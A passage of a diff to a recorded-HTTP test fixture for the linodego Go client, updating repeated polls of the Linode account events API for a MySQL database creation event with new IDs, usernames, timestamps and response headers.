755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -6976,16 +7364,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:58:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7001,7 +7392,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7018,14 +7409,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7040,16 +7431,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:58:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7065,7 +7459,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7082,14 +7476,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7104,16 +7498,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:59:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7129,7 +7526,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7146,14 +7543,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7168,16 +7565,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:59:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7193,7 +7593,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7210,14 +7610,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7232,16 +7632,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:59:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7257,7 +7660,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7274,14 +7677,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7296,16 +7699,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:59:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7321,7 +7727,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7338,14 +7744,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7360,16 +7766,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:00:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7385,7 +7794,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7402,14 +7811,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7424,16 +7833,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:00:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7449,7 +7861,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7466,14 +7878,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7488,16 +7900,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:00:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7513,7 +7928,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7530,14 +7945,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7552,16 +7967,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:00:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7577,7 +7995,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7594,14 +8012,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7616,16 +8034,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:01:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7641,7 +8062,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7658,14 +8079,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7680,16 +8101,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:01:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7705,7 +8129,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7722,14 +8146,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7744,16 +8168,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:01:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7769,7 +8196,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7786,14 +8213,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7808,16 +8235,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:01:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7833,7 +8263,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7850,14 +8280,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7872,16 +8302,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:02:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7897,7 +8330,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7914,14 +8347,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -7936,16 +8369,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:02:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -7961,7 +8397,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -7978,14 +8414,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 